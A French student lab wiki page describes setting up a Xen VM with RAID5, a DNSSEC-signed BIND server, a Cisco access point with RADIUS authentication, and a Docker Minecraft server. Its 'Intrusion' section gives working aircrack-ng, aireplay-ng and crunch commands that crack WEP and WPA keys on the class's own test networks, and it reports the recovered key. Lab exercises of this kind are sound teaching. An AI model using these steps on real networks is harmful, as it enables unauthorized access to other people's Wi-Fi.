TP sysres SE2a5 2022/2023 G1

De Wiki d'activités IMA


Plan d’adressage

Groupe VLAN Réseau IPv4 Réseau IPv6 @IPv4 virtuelle IPv4/IPv6 6509E (E304) IPv4/IPv6 C9200 (E306) IPv4/IPv6 ISR4331 SSID VM @IPv4 MV non routée @IPv4 MV routée Nom de domaine !
Antonin / Hugo 20 10.20.0.0/16 - 10.20.0.250 10.20.0.251 10.20.0.252 10.20.0.253 - HG 172.26.145.76/24 193.48.57.163/28 detestable.site

Global scheme PRA 2020.png

Machine Virtuelle

Création de la VM

Pour créer la VM nous avons besoin de nous connecter sur Capbreton qui est le serveur qui va "heberger" notre VM xen

ssh root@capbreton.plil.info

On crée ensuite notre vm avec :

xen-create-image --hostname=HG --gateway=193.48.57.175 --ip=193.48.57.163 --netmask=255.255.255.240 --dir=/usr/local/xen --password=glopglopglop --dist=bullseye

Pour acceder à la console de notre vm il faut modifier le fichier de configuration de notre VM (/etc/xen/HG.cfg) en y rajoutant :

vif=['mac=00:16:3E:82:3E:78,bridge=IMA2a5' ]

On crée 2 LVM permettant par la suite d'y rattacher notre /home et notre /var :

lvcreate -L10G -n HG-home storage
lvcreate -L10G -n HG-var storage

Dans /etc/xen/HG.cfg :

#  Disk device(s).
#
root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/HG/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/HG/swap.img,xvda1,w',
                 'phy:/dev/storage/HG-home,xvdb1,w',
                 'phy:/dev/storage/HG-var,xvdc1,w',
             ]


Pour demarrer notre VM nous utilisons :

xen create /etc/xen/HG.cfg -c

Le -c sert a se connecter directement

Une fois sur la console de la machine, on modifie /etc/fstab, qui gère le mount des partitions au démarrage. On y rajoute les deux entrées suivantes:

/dev/xvda3 /home ext4 defaults	0 2
/dev/xvda4 /var  ext4 defaults	0 2

On modifie également les partitions /dev/xvda3 et /dev/xvda4 en y ajoutant des filesystems de type ext4:

mkfs.ext4 /dev/xdva3

Sécurisation des données - RAID5

On sécurise nos données à l'aide de RAID5

Installer les paquets nécessaires sur la VM et capbreton :

apt install mdadm

Créer les partitions virtuelles pour le RAID :

lvcreate -L1G -n detestable-raid-1 virtual
lvcreate -L1G -n detestable-raid-2 virtual
lvcreate -L1G -n detestable-raid-3 virtual

Dans /etc/xen/HG.cfg :

#  Disk device(s).
#
root        = '/dev/xvda2 ro'
disk        = [
                 'file:/usr/local/xen/domains/HG/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/HG/swap.img,xvda1,w',
                 'phy:/dev/storage/HG-home,xvdb1,w',
                 'phy:/dev/storage/HG-var,xvdc1,w',
                 'phy:/dev/virtual/detestable-raid-1,xvdd1,w',
                 'phy:/dev/virtual/detestable-raid-2,xvdd2,w',
                 'phy:/dev/virtual/detestable-raid-3,xvdd3,w'
               ]

On redémarre la VM :

xen create /etc/xen/HG.cfg -c

Créer le RAID5 à l’aide de la commande mdadm :

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdd1 /dev/xvdd2 /dev/xvdd3

Formater la partition RAID5 :

mkfs.ext4 /dev/md0

Ajout de la partition au fichier /etc/fstab :

/dev/md0 /media/raid ext4 defaults 0 1

On recharge les partitions afin de prendre en compte le RAID :

mount -a

Vérification

RAID5 detestable.png

Serveur DNS

DNS

Dans un premier temps, on utilise le registrar Gandi afin de réserver le nom de domaine detestable.site.
Une fois le nom de domaine réservé, il est alors possible de configurer les serveurs de noms et les Glue Records :
  → Ajouter le Glue Record vers 193.48.57.163 afin d’associer le nom de domaine detestable.site à l’adresse IP 193.48.57.163
  → Modifier les serveurs de noms pour utiliser ns.detestable.site et ns6.gandi.net

  • Installation du paquet bind9
apt install bind9
  • Modification du fichier /etc/resolv.conf :
nameserver 193.48.57.48
  • Modification du fichier /etc/bind/named.conf.local :
zone "detestable.site" {
    type master;
    file "/etc/bind/db.detestable.site";
    allow-transfer { 217.70.177.40; }; // ns6.gandi.net
};
  • Modification du fichier /etc/bind/named.conf.options :
options{
  directory "/var/cache/bind";
  dnssec-validation auto;
  listen-on-v6 { any; };
  allow-transfer { "allowed_to_transfer"; };
};
acl "allowed_to_transfer" {
  193.48.57.0/24;
};
  • Créer le fichier BIND pour detestable.site :
cp /etc/bind/db.local /etc/bind/db.detestable.site
  • Modification du fichier /etc/bind/db.detestable.site :
;
; BIND data file for detestable.site
;
$TTL    604800
@       IN      SOA     ns.detestable.site. root.detestable.site. (
                              3         ; Serial
                         604800         ; Refresh
                          86400         ; Retry
                        2419200         ; Expire
                         604800 )       ; Negative Cache TTL
;
@   IN  NS  ns.detestable.site.
@   IN  NS  ns6.gandi.net.
@   IN  A   193.48.57.163
NS  IN  A   193.48.57.163
NS  IN  AAAA    2001:660:4401:60a0:216:3eff:fe82:3e78
WWW IN  CNAME   NS
SSH IN  CNAME   NS
  • Redémarrage du service bind9 :
service bind9 restart

Tester DNS :

  • Modification du fichier /etc/resolv.conf
nameserver 193.48.57.163
  • Vérification de la traduction du nom de domaine detestable.site :
nslookup detestable.site

DNSSEC

  • Modification du fichier /etc/bind/named.conf.options :
dnssec-enable yes;
dnssec-validation yes;
dnssec-lookaside auto;
  • Création du répertoire detestable.site.dnssec :
mkdir /etc/bind/detestable.site.dnssec/
cd /etc/bind/detestable.site.dnssec/
  • Génération de la clef asymétrique de signature de clefs de zone :
dnssec-keygen -a RSASHA256 -b 2048 -f KSK -n ZONE detestable.site
mv Kdetestable.site.*.key detestable.site-ksk.key
mv Kdetestable.site.*.private detestable.site-ksk.private
  • Génération de la clef asymétrique de signature des enregistrements :
dnssec-keygen -a RSASHA256 -b 2048 -n ZONE detestable.site
mv Kdetestable.site.*.key detestable.site-zsk.key
mv Kdetestable.site.*.private detestable.site-zsk.private
  • Modification du fichier /etc/bind/db.detestable.site :
$include "/etc/bind/detestable.site.dnssec/detestable.site-ksk.key"
$include "/etc/bind/detestable.site.dnssec/detestable.site-zsk.key"
  • Signature des enregistrements de la zone :
dnssec-signzone -o detestable.site -k detestable.site-ksk ../db.detestable.site detestable.site-zsk
  • Modification du fichier /etc/bind/named.conf.local :
zone "demineur.site" {
    type master;
    file "/etc/bind/db.detestable.site.signed";
    allow-transfer { 217.70.177.40; }; // ns6.gandi.net
};

Il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier detestable.site-ksk.key) à Gandi.
L’algorithme utilisé est le 8 (RSA/SHA-256).

Tester DNSSEC :

cd /etc/bind/
dnssec-verify -o detestable.site db.detestable.site.signed
service bind9 restart

Vérifier son DNS avec dnsviz.net

Dnsviz detestable.png

Connexion wifi

Point d'accès wifi

Paramètres de minicom

Serial Device : /dev/ttyUSB0

Mode terminal

ap>enable
ap#configure terminal

Configuration du nom d’hôte :

ap(config)#hostname SE2A5-AP1

Accès SSH :

SE2A5-AP1(config)#aaa new-model
SE2A5-AP1(config)#username admin privilege 15 secret glopglop
SE2A5-AP1(config)#ip domain-name plil.info
SE2A5-AP1(config)#crypto key generate rsa general-keys modulus 2048
SE2A5-AP1(config)#ip ssh version 2
SE2A5-AP1(config)#line vty 0 15
SE2A5-AP1(config-line)#transport input ssh
SE2A5-AP1(config-line)#exit

Accès console :

SE2A5-AP1(config)#line console 0
SE2A5-AP1(config-line)#password glopglop
SE2A5-AP1(config-line)#login authentification default
SE2A5-AP1(config-line)#exit

Sécurisation des accès :

SE2A5-AP1(config)#service password-encryption
SE2A5-AP1(config)#enable secret glopglop
SE2A5-AP1(config)#banner motd #Restricted Access#

VLAN n°20

<SE2A5-AP1(config)#aaa authentication login EAP_toto group RADIUS_toto
SE2A5-AP1(config)#radius-server host 193.48.57.163 auth-port 1812 acct-port 1813 key glopglop
SE2A5-AP1(config)#aaa group server radius RADIUS_toto
SE2A5-AP1(config-server)#server 193.48.57.163 auth-port 1812 acct-port 1813
SE2A5-AP1(config-server)#exit
SE2A5-AP1(config)#dot11 ssid SE2A5_1
SE2A5-AP1(config-ssid)#vlan 20
SE2A5-AP1(config-ssid)#authentication open eap EAP_toto
SE2A5-AP1(config-ssid)#authentication network-eap EAP_toto
SE2A5-AP1(config-ssid)#authentication key-management wpa
SE2A5-AP1(config-ssid)#exit
SE2A5-AP1(config)#interface dot11radio0.20
SE2A5-AP1(config-subif)#encapsulation dot1q 20
SE2A5-AP1(config-subif)#bridge-group 20
SE2A5-AP1(config-subif)#exit
SE2A5-AP1(config)#interface g0.20
SE2A5-AP1(config-subif)#encapsulation dot1q 20
SE2A5-AP1(config-subif)#bridge-group 20
SE2A5-AP1(config-subif)#exit
SE2A5-AP1(config)#interface dot11radio 0
SE2A5-AP2(config-if)#no shutdown
SE2A5-AP1(config-if)#encryption vlan 20 mode ciphers aes-ccm tkip
SE2A5-AP1(config-if)#mbssid
SE2A5-AP1(config-if)#ssid SE2A5_1
SE2A5-AP1(config-if)#exit

Paramètres de minicom

Serial Device : /dev/ttyACM0

VLAN n°1 :

SE2A5-AP1(config)#interface BVI 1
SE2A5-AP1(config-if)#ip address 10.0.0.10 255.255.255.0
SE2A5-AP1(config-if)#no shutdown
SE2A5-AP1(config-if)#exit
SE2A5-AP1(config)#ip default-gateway 10.0.0.1

Configuration du serveur RADIUS

Le serveur RADIUS permet l’authentification des utilisateurs qui se connectent aux points d’accès Wifi (WPA-EAP).

  • Installer le paquet freeradius :
apt install freeradius
  • Modifier le fichier /etc/freeradius/clients.conf :
client SE2A51 {
        ipaddr  = 10.0.0.10
        secret  = glopglop
}
}
  • Ajouter un utilisateur en modifiant le fichier /etc/freeradius/3.0/users :
pifou Cleartext-Password := "pasglop"
  • Modifier le fichier /etc/freeradius/3.0/mods-enables/eap :
eap {
  default_eap_type = peap
  ...
}
  • Arrêter le service freeradius durant la phase de tests :
service freeradius stop
  • Démarrer freeradius en mode debug :
freeradius -X

Pendant que freeradius est en mode debug, tenter de se connecter au réseau Wifi qui a été créé et vérifier que celle-ci est prise en compte.
Freeradius X.png



On peut également voir la connexion de l'appareil sur minicom

Connexion minicom.png

Si la connexion est validée alors la configuration est correcte. Dans ce cas, arrêter le programme de debug et réactiver le service.

  • Redémarrer le service freeradius :
service freeradius start

Intrusion

WEP

Pour casser une clé WEP il nous faut le logiciel Aircrack:

apt-get install aircrack-ng

Il faut tout d'abord se mettre sur la bonne interface ethernet:

airmon-ng start wlan0mon

On se met ensuite en écoute sur ce réseau en indiquant le cryptage (WEP)

airodump-ng --encrypt wep wlan0mon

On recupere ensuite l'ESSID et le BSSID correspondant a notre groupe (Groupe 1)

(Ne pas juger la qualité du photographe) WEP Liste.jpg

On s'identifie

aireplay-ng -9 -e cracotte01 -a 04:DA:D2:9C:50:50 wlan0mon

Nous recuperons ensuite les VI que l'on stock dans un fichier qui nous permettera de casser la clé :

airodump-ng -c 4 --bssid 04:DA:D2:9C:50:50 -w output wlan0mon

Nous procédons maintenant a la fausse identification: 

aireplay-ng -1 0 -e cracotte01 -a 04:DA:D2:9C:50:50 -h 40:A5:EF:01:21:80 wlan0mon

Il ne reste plus qu'a lancer le crack de la clé

aircrack-ng -b 04:DA:D2:9C:50:50 output*.cap


Resultat:

CléWEP.jpeg


WPA

Nous allons utiliser le même logiciel que pour WEP (aircrack)

Pour recuperer la clé WPA, il faut attendre un handshake de krakote01

airodump-ng wlx40a5efd2140c --essid kracotte01 -c 4 -w /tmp/wpa

Une fois le handshake recuperer nous allons generer un dictionvaire de mot de passe (ici une combinaison de 8 chiffres)

crunch 8 8 0123456789 -o password.lst

Il nous reste plus qu'a utiliser aircrack comme ceci

aircrack-ng -w password.lst wpa02.cap

Il faut desormais être patient et attendre 5h40 pour essayer tout le dictionnaire.

Un essaie en subdivisant a été fait mais sans resultat dans le temp imparti

Après 4 heures 1 minutes et 29 seconde nous avons la clé:

66699666

WPA crack.png

MINECRAFT

Nous allons installer un serveur minecraft sur notre VM

Pour cela nous allons avoir besoin de DOCKER

apt-get install docker

Une fois l'installation faite nous devons prendre une image de serveur minecraft:

docker run -d -it -p 25565:25565 -e EULA=TRUE itzg/minecraft-server

Cette image vient du github: https://github.com/itzg/docker-minecraft-server

Nous mettons le port 25565 car c'est le port utilisé par minecraft

Une fois cela fait nous pouvons visualiser les docker activité

docker ps 


Docker minecraft.png


Connexion

Pour se connecter il suffit d'avoir un minecraft et de renseigner l'IP du serveur

Minecraft pc.png



Le problème avec ce serveur minecraft est sa gourmandise en memoire. En effet, celui-ci plante lorsqu'il y a trop de redstone sur le serveur ou qu'il y a une trop grosse explosion de TNT.

Cela doit être dû (pour la TNT) a un trop gros changement de map et besoin d'affichage qui nécessite trop de mémoire vive.

Pour la redstone, étant donné que nous avons essayé de recréer des portes logique, cela devait trop "consommer"